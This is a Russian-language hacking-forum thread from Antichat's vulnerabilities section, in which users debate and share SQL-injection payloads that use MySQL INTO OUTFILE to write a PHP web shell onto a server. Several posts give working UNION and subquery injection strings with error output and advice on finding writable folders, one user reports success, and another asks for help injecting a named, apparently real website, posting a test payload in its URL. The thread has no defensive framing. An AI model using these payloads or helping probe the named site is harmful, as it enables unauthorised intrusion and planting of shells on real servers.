HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 23.12.2011, 18:00
KolosJey
Новичок
Регистрация: 21.12.2009
Сообщений: 0
С нами: 8625634

Репутация: 0
По умолчанию

Цитата:
Сообщение от None  
через еррор-бейсед нельзя залить шелл
Вы наверное сейчас опять скажете что я не понял поста, ну да бог с ним

Ерор бейс это просто название, причём не самой скули, а варианта её эксплуатации .

А шелл залить можно везде где есть возможность сделать подзапрос (и даже без него). Просто навороты лишние ни к чему в запросе.

snet

Цитата:
Сообщение от None  
1 and (select 1 into outfile '/путь/шелл.php' lines terminated by "")--
 
Ответить с цитированием

  #2  
Старый 23.12.2011, 18:03
Expl0ited
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами: 8328566

Репутация: 935


По умолчанию

Цитата:
Сообщение от KolosJey  
Вы наверное сейчас опять скажете что я не понял поста, ну да бог с ним
Ерор бейс это просто название, причём не самой скули, а варианта её эксплуатации .
А шелл залить можно везде где есть возможность сделать подзапрос (и даже без него). Просто навороты лишние ни к чему в запросе.
snet
Код:
select user from mysql.user where 1 and (select 1 into outfile '/tmp/test.txt' lines terminated by "")--+
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'into outfile '/tmp/test.txt' lines terminated by "")--' at line 1

Не вводи в заблуждение пользователей, и прежде чем ответить на вопрос, будь добр протестируй это где-нибудь.
 
Ответить с цитированием

  #3  
Старый 23.12.2011, 18:08
KolosJey
Новичок
Регистрация: 21.12.2009
Сообщений: 0
С нами: 8625634

Репутация: 0
По умолчанию

Цитата:
Сообщение от Expl0ited  
Код:
select user from mysql.user where 1 and (select 1 into outfile '/tmp/test.txt' lines terminated by "")--+
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'into outfile '/tmp/test.txt' lines terminated by "")--' at line 1
Не вводи в заблуждение пользователей, и прежде чем ответить на вопрос, будь добр протестируй это где-нибудь.
Ну если МОА не видит что ошибка СИНТАКСИСА, тут я бессилен

Запрос рабочий, если всё сделать правильно
 
Ответить с цитированием

  #4  
Старый 23.12.2011, 18:09
snet
Познающий
Регистрация: 19.12.2010
Сообщений: 61
С нами: 8103926

Репутация: 0
По умолчанию

Да все норм, вывела ошибка:

Код:
Can't create/write to file '/адрес/файл.php' (Errcode: 13)
Осталось найти папку где есть права.

Спасибо вам обоим.

lightangel, "Thank you" does not smudge on bread. Give me a plus for the reputation
 
Ответить с цитированием

  #5  
Старый 23.12.2011, 18:11
lightangel
Познающий
Регистрация: 07.11.2011
Сообщений: 91
С нами: 7638806

Репутация: -6
По умолчанию

Thank you Snet, worked properly.
 
Ответить с цитированием

  #6  
Старый 23.12.2011, 18:21
Expl0ited
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами: 8328566

Репутация: 935


По умолчанию

Ух. В случае snet, всё элементарно, результат первого запроса, попадает во второй запрос, почему и невозможно раскрутить скуль обычным способом, и приходится использовать вывод в ошибке. Но для залития шелла, достаточно выполнить запрос:

SELECT column FROM table WHERE columns = false UNION SELECT 'test' INTO OUTFILE '/tmp/file.txt'

и при условии если директория доступна на запись для пользователя mysql, то первый запрос выполнится, файл успешно создастся.

Но в примере уважаемого пользователя KolosJey, ничего не получится, т.к. в данном подзапросе and (select 1 into outfile '/tmp/test.txt' lines terminated by "text") использование INTO OUTFILE нарушает синтаксис запроса, о чем и свидетельствует ошибка:

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'into outfile

Ну если ОБЫЧНЫЕ ПОЛЬЗОВАТЕЛИ не научатся думать СВОЕЙ головой, тут я бессилен.
 
Ответить с цитированием

  #7  
Старый 23.12.2011, 18:25
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Цитата:
Сообщение от KolosJey  
не самой скули, а варианта её эксплуатации.
Я бы даже сказал, варианта вывода на экран результата запроса. Если запрос направлен не на получение информации, а на внесение изменений (в файлы или базу), то без разницы, блайнд или нет.

Людям свойственно иногда ошибаться. Мы же не роботы.

"через еррор-бейсед нельзя залить шелл" (c) Expl0ited
 
Ответить с цитированием

  #8  
Старый 23.12.2011, 18:32
snet
Познающий
Регистрация: 19.12.2010
Сообщений: 61
С нами: 8103926

Репутация: 0
По умолчанию

Спасибо что так суетитесь из-за моей проблемы

Действительно, вы оба правы. Можно было обычным способом отправить запрос:

union select 1,2,3,4,"blabla" into outfile "/asd", .

это 3 часовое ковыряние через error_base мне запудрило всю голову и я, почему-то, ограничил себя только им.

Но и вариант который привел КолосДжей тоже сработал. Записал его в свой справочник. Очень познавательно.
 
Ответить с цитированием

  #9  
Старый 23.12.2011, 20:09
lightangel
Познающий
Регистрация: 07.11.2011
Сообщений: 91
С нами: 7638806

Репутация: -6
По умолчанию

Is there a way to inject this?

Код:
http://www.sheltonhitch.com/prodlist.asp?catId=1074%27%20having%201=1
Nothing is working for me.
 
Ответить с цитированием

  #10  
Старый 23.12.2011, 20:24
Boolean
Участник форума
Регистрация: 05.09.2010
Сообщений: 147
С нами: 8255126

Репутация: 78
По умолчанию

Цитата:
Сообщение от lightangel  
Is there a way to inject this?
Код:
http://www.sheltonhitch.com/prodlist.asp?catId=1074%27%20having%201=1
Nothing is working for me.
Читай мануалы.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.